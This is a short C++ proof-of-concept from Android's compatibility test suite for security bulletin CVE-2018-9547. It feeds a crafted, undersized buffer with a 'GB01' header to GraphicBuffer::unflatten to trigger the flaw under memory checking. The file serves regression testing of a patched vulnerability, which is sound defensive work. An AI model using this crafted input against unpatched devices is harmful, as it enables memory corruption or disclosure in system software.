unplugged-system/cts/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp

37 lines
1.2 KiB
C++

/*
* Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <ui/GraphicBuffer.h>
#include "../includes/memutils.h"
int main() {
size_t size = sizeof(int) * 6;
int *tempBuffer = (int *)malloc(size);
if (!tempBuffer) {
return EXIT_FAILURE;
}
memset(tempBuffer, 0x0, size);
tempBuffer[0] = 'GB01';
void const *buffer = const_cast<void const *>((void *)tempBuffer);
int const fds[] = {0, 0};
size_t count = sizeof(fds) / sizeof(int);
int const *fd = const_cast<int const *>(fds);
android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer();
graphicBuffer->unflatten(buffer, size, fd, count);
free(tempBuffer);
return EXIT_SUCCESS;
}